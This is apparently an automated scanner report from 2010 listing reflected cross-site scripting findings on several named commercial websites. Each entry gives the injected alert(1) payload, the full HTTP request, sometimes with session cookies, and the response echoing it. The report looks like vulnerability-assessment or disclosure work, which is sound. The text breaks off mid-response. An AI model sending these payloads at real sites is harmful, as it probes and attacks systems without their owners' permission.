The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ff17'-alert(1)-'382362ecf8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /x22?9ff17'-alert(1)-'382362ecf8f=1 HTTP/1.1 Host: publix.pissedconsumer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: 8092e5e7d9115742fe6b5f7c78b1d51b=-; path=/; domain=.pissedconsumer.com Set-Cookie: mosvisitor=1 Set-Cookie: PHPSESSID=4u1nlip8utfem1bqs32ct5ps26; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 78439 Date: Fri, 10 Dec 2010 22:50:45 GMT Age: 0 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <script type="text/javascript"> _uacct ="UA-1938061-1"; _udn="pissedconsumer.com";
1.40. http://publix.pissedconsumer.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://publix.pissedconsumer.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 565ad"><script>alert(1)</script>0b00dfbd7bb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22?565ad"><script>alert(1)</script>0b00dfbd7bb=1 HTTP/1.1 Host: publix.pissedconsumer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: 8092e5e7d9115742fe6b5f7c78b1d51b=-; path=/; domain=.pissedconsumer.com Set-Cookie: mosvisitor=1 Set-Cookie: PHPSESSID=4rl9vbqhej89lotkan7eaop1u3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 78709 Date: Fri, 10 Dec 2010 22:50:41 GMT Age: 0 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="http://publix.pissedconsumer.com/x22?565ad"><script>alert(1)</script>0b00dfbd7bb=1#comments-section"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2fe7"><script>alert(1)</script>56f66997854 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /homea2fe7"><script>alert(1)</script>56f66997854/ HTTP/1.1 Host: www.gopsusports.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:04:42 GMT Server: Apache P3P: policyref="http://www.cstv.com/w3c/p3p.xml",CP="IDC DSP COR CURa ADMo DEVo PSAo OUR DELi SAMi OTRi STP PHY ONL UNI PUR COM NAV INT DEM STA PRE" Keep-Alive: timeout=300, max=999 Connection: Keep-Alive Content-Type: text/html Content-Length: 49301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4d79"><script>alert(1)</script>6154538d9d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ticketsb4d79"><script>alert(1)</script>6154538d9d7/ HTTP/1.1 Host: www.gopsusports.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:04:44 GMT Server: Apache P3P: policyref="http://www.cstv.com/w3c/p3p.xml",CP="IDC DSP COR CURa ADMo DEVo PSAo OUR DELi SAMi OTRi STP PHY ONL UNI PUR COM NAV INT DEM STA PRE" Keep-Alive: timeout=300, max=988 Connection: Keep-Alive Content-Type: text/html Content-Length: 49313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cd00"><script>alert(1)</script>90adac59aa5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x224cd00"><script>alert(1)</script>90adac59aa5 HTTP/1.1 Host: www.gopsusports.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:04:44 GMT Server: Apache P3P: policyref="http://www.cstv.com/w3c/p3p.xml",CP="IDC DSP COR CURa ADMo DEVo PSAo OUR DELi SAMi OTRi STP PHY ONL UNI PUR COM NAV INT DEM STA PRE" Keep-Alive: timeout=300, max=999 Connection: Keep-Alive Content-Type: text/html Content-Length: 49296
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.44. http://www.gopsusports.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.gopsusports.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38b72"><script>alert(1)</script>3279b82c554 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22?38b72"><script>alert(1)</script>3279b82c554=1 HTTP/1.1 Host: www.gopsusports.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:04:42 GMT Server: Apache P3P: policyref="http://www.cstv.com/w3c/p3p.xml",CP="IDC DSP COR CURa ADMo DEVo PSAo OUR DELi SAMi OTRi STP PHY ONL UNI PUR COM NAV INT DEM STA PRE" Keep-Alive: timeout=300, max=994 Connection: Keep-Alive Content-Type: text/html Content-Length: 49170
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc5f4"-alert(1)-"2ab670d07a6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /company/Publix_Super_Markets_Inc/bc5f4"-alert(1)-"2ab670d07a6/x22 HTTP/1.1 Host: www.hoovers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 The page you requested could not be found. Date: Fri, 10 Dec 2010 22:05:03 GMT Server: Apache Cache-Control: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Set-Cookie: HID=174.121.222.18.1292018703795053; path=/; expires=Wed, 09-Dec-15 22:05:03 GMT; domain=.hoovers.com Set-Cookie: DNBDSESSIONID=40305195d6114d1e336e;path=/ Set-Cookie: SERVERID=hoovweb25;path=/ Set-Cookie: CAMPAIGN=%3CwddxPacket%20version%3D%271%2E0%27%3E%3Cheader%2F%3E%3Cdata%3E%3Cstruct%3E%3Cvar%20name%3D%27campaignPhone%27%3E%3Cstring%3E8665413918%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignWebFormCode%27%3E%3Cstring%3E70130000000KoKNAA0%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignChatCode%27%3E%3Cstring%3E70130000000KhjR%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignServCode%27%3E%3Cstring%3EDEF%3C%2Fstring%3E%3C%2Fvar%3E%3C%2Fstruct%3E%3C%2Fdata%3E%3C%2FwddxPacket%3E;expires=Sat, 11-Dec-2010 05:59:59 GMT;path=/ Set-Cookie: CAMPAIGN=%3CwddxPacket%20version%3D%271%2E0%27%3E%3Cheader%2F%3E%3Cdata%3E%3Cstruct%3E%3Cvar%20name%3D%27campaignPhone%27%3E%3Cnumber%3E8%2E667043392E9%3C%2Fnumber%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignWebFormCode%27%3E%3Cstring%3E70130000000KoKNAA0%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignChatCode%27%3E%3Cstring%3E70130000000KhjR%3C%2Fstring%3E%3C%2Fvar%3E%3Cvar%20name%3D%27campaignServCode%27%3E%3Cstring%3EDIR%3C%2Fstring%3E%3C%2Fvar%3E%3C%2Fstruct%3E%3C%2Fdata%3E%3C%2FwddxPacket%3E;expires=Sat, 11-Dec-2010 05:59:59 GMT;path=/ Set-Cookie: IIA=%2D2;expires=Sat, 11-Dec-2010 22:05:03 GMT;path=/ Set-Cookie: IIA=%2D1;expires=Sat, 11-Dec-2010 22:05:03 GMT;path=/ Set-Cookie: PAGEID=348525585;path=/ Set-Cookie: TS=2010%2D12%2D10%2016%3A04%3A56%2E68;path=/ Set-Cookie: COMPONENTID=0;expires=Sun, 02-Dec-2040 22:05:03 GMT;path=/ Set-Cookie: BIGipServerhaspriv-colo2=316789258.20480.0000; path=/ P3P: CP="NON DSP COR ADM DEV CONo TELo DELo SAMo OTRo UNRo LEG PRE" Connection: close Set-Cookie: BIGipServerwww-2=1357173258.20480.0000; path=/ Content-Length: 120588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of the Container_ID request parameter is copied into the HTML document as plain text between tags. The payload 1650d<script>alert(1)</script>fb2adc3755e was submitted in the Container_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?Mode=Object&Object_ID=1912&Container_ID=2781650d<script>alert(1)</script>fb2adc3755e&Source=google?campaign=1&Container_Top_Level_ID=258&client=ca-dp-highlands19_3ph_xml HTTP/1.1 Host: www.ifranchisegroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Fri, 10 Dec 2010 22:02:28 GMT Connection: close Content-type: text/html Page-Completion-Status: Normal Page-Completion-Status: Abnormal
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the Container_Top_Level_ID request parameter is copied into the HTML document as plain text between tags. The payload c66d5<script>alert(1)</script>7ed14dd390c was submitted in the Container_Top_Level_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?Mode=Object&Object_ID=1912&Container_ID=278&Source=google?campaign=1&Container_Top_Level_ID=258c66d5<script>alert(1)</script>7ed14dd390c&client=ca-dp-highlands19_3ph_xml HTTP/1.1 Host: www.ifranchisegroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Fri, 10 Dec 2010 22:02:29 GMT Connection: close Content-type: text/html Page-Completion-Status: Normal Page-Completion-Status: Abnormal
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the Object_ID request parameter is copied into the HTML document as plain text between tags. The payload 9318e<script>alert(1)</script>3bd36decb29 was submitted in the Object_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?Mode=Object&Object_ID=19129318e<script>alert(1)</script>3bd36decb29&Container_ID=278&Source=google?campaign=1&Container_Top_Level_ID=258&client=ca-dp-highlands19_3ph_xml HTTP/1.1 Host: www.ifranchisegroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Fri, 10 Dec 2010 22:02:28 GMT Connection: close Content-type: text/html Page-Completion-Status: Normal Page-Completion-Status: Abnormal
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the cat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98777</script><script>alert(1)</script>86b1bb53b1c was submitted in the cat parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /maps?cat=Panera+Bread98777</script><script>alert(1)</script>86b1bb53b1c&sem=1&ncid=mpqmap00170000000007&s_kwcid=TC|10782|panera%20bread||S|p|3811198496/x22 HTTP/1.1 Host: www.mapquest.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" c ...[SNIP]... ":"US","street":""},"ambiguousResults":null,"displayOffset":null,"distance":null,"errorId":null,"id":null,"inputQuery":{"bestFitIndex":0,"categories":null,"charFilter":null,"displayQuery":"Panera Bread98777</script><script>alert(1)</script>86b1bb53b1c","inflectionPointIndex":0,"latch":false,"latchQuery":"","locale":"en","mapState":null,"mostPopularCategory":"Restaurants","page":0,"position":0,"query":"Panera Bread98777</script> ...[SNIP]...
1.50. http://www.mypanera.com/contactus.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mypanera.com
Path:
/contactus.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c05c7"><img%20src%3da%20onerror%3dalert(1)>21eeb0dfb53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c05c7"><img src=a onerror=alert(1)>21eeb0dfb53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /contactus.php/c05c7"><img%20src%3da%20onerror%3dalert(1)>21eeb0dfb53 HTTP/1.1 Host: www.mypanera.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __unam=8ffb1e4-12cd24d0450-2ac3b52b-1; __utmz=185548085.1292018449.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=at5rif8bpcghpc2a6oh4t658k3; __utma=185548085.420809818.1292018449.1292018449.1292018449.1; __utmc=185548085; __utmb=185548085.2.10.1292018449;
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:05:24 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.2.5 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16408
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Te ...[SNIP]... <option value="c05c7"><img src=a onerror=alert(1)>21eeb0dfb53"> ...[SNIP]...
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ba49"><script>alert(1)</script>806d3208f82 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /recipes/category.php?id=15ba49"><script>alert(1)</script>806d3208f82 HTTP/1.1 Host: www.panerabread.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_DSTMP=http://www.panerabread.com/cafes/find.php; __utmz=123657226.1292018430.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=123657226.1817936843.1292018430.1292018430.1292018430.1; __utmc=123657226; __utmb=123657226.7.10.1292018430;
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:03:27 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.2.5 Content-Length: 4631 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a27a"><script>alert(1)</script>90929adf82c was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /recipes/recipe.php?category=63a27a"><script>alert(1)</script>90929adf82c&id=50 HTTP/1.1 Host: www.panerabread.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_DSTMP=http://www.panerabread.com/cafes/find.php; __utmz=123657226.1292018430.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=123657226.1817936843.1292018430.1292018430.1292018430.1; __utmc=123657226; __utmb=123657226.7.10.1292018430;
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:03:27 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.2.5 Content-Length: 5853 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a535c"><script>alert(1)</script>1819d7872a1 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x22a535c"><script>alert(1)</script>1819d7872a1 HTTP/1.1 Host: www.sportsapparelsuperstore.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:04:56 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 Connection: close Content-Type: text/html Content-Length: 91831
<style>
TABLE.XSP_OUTLINE {border: 1px #E9E9E;}
</style><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; chars ...[SNIP]... <a rel="nofollow" href="/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x22a535c"><script>alert(1)</script>1819d7872a1?psps_product=r/UGdzcTA4VUVYRmhNbG13UzQ0dkdEUGo2WU9CWnZxandDTDZBc1NoWjhDTT0K"> ...[SNIP]...
1.54. http://www.sportsapparelsuperstore.com/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x22 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ad67"><script>alert(1)</script>164e79fe245 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x22?6ad67"><script>alert(1)</script>164e79fe245=1 HTTP/1.1 Host: www.sportsapparelsuperstore.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:04:44 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 Connection: close Content-Type: text/html Content-Length: 92047
<style>
TABLE.XSP_OUTLINE {border: 1px #E9E9E;}
</style><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; chars ...[SNIP]... <a rel="nofollow" href="/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x22?6ad67"><script>alert(1)</script>164e79fe245=1&psps_product=r/aTc3YXNyQXh1Vmwxa3NnanYyYUYxWEhnK01nQ1VkVVZEOUlaR3U1OVg1WT0K"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fd21"><script>alert(1)</script>d6398fcd778 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp9fd21"><script>alert(1)</script>d6398fcd778 HTTP/1.1 Host: www.sportsapparelsuperstore.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:05:14 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 Connection: close Content-Type: text/html Content-Length: 92047
<style>
TABLE.XSP_OUTLINE {border: 1px #E9E9E;}
</style><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; chars ...[SNIP]... <a rel="nofollow" href="/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp9fd21"><script>alert(1)</script>d6398fcd778?psps_product=r/VjJoWldkSVdLSTNEMDU2VEw2eG9palJoWXhpaGJzbE4xb1B4QmdYbWZQbz0K"> ...[SNIP]...
The value of the h\\x3d403\\x26amp;w\\x3d542\\x26amp;sz\\x3d16\\x26amp;tbnid\\x3dAZwTMdnLs1Z5MM:\\x26amp;tbnh\\x3d98\\x26amp;tbnw\\x3d132\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__2kFWyV5DkOkollmbsSjZHMsXzJA\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ0BEPUBMA4\\x22\\x3e\\x3cimg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38c94"><script>alert(1)</script>a32df8ad6b2 was submitted in the h\\x3d403\\x26amp;w\\x3d542\\x26amp;sz\\x3d16\\x26amp;tbnid\\x3dAZwTMdnLs1Z5MM:\\x26amp;tbnh\\x3d98\\x26amp;tbnw\\x3d132\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__2kFWyV5DkOkollmbsSjZHMsXzJA\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ0BEPUBMA4\\x22\\x3e\\x3cimg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp;h\\x3d403\\x26amp;w\\x3d542\\x26amp;sz\\x3d16\\x26amp;tbnid\\x3dAZwTMdnLs1Z5MM:\\x26amp;tbnh\\x3d98\\x26amp;tbnw\\x3d132\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__2kFWyV5DkOkollmbsSjZHMsXzJA\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ0BEPUBMA4\\x22\\x3e\\x3cimg38c94"><script>alert(1)</script>a32df8ad6b2 HTTP/1.1 Host: www.sportsapparelsuperstore.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:05:28 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 Connection: close Content-Type: text/html Content-Length: 120703
<style>
TABLE.XSP_OUTLINE {border: 1px #E9E9E;}
</style><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; chars ...[SNIP]... 3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__2kFWyV5DkOkollmbsSjZHMsXzJA\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ0BEPUBMA4\\x22\\x3e\\x3cimg38c94"><script>alert(1)</script>a32df8ad6b2?psps_product=r/RUdOUWt1MGZ1Um1idzNER3R0dVQxS1ZZK1dUaFBPWDNubjEwT054UUw4VT0K"> ...[SNIP]...
1.57. http://www.sportsapparelsuperstore.com/NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93036"><script>alert(1)</script>7d32952a5c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /NCAA-Apparel/Big-10-Conference-Apparel/Penn-State-Nittany-Lions-Apparel/Penn-State-T-Shirts/index.php/x26amp?93036"><script>alert(1)</script>7d32952a5c5=1 HTTP/1.1 Host: www.sportsapparelsuperstore.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:05:02 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 Connection: close Content-Type: text/html Content-Length: 92263
<style>
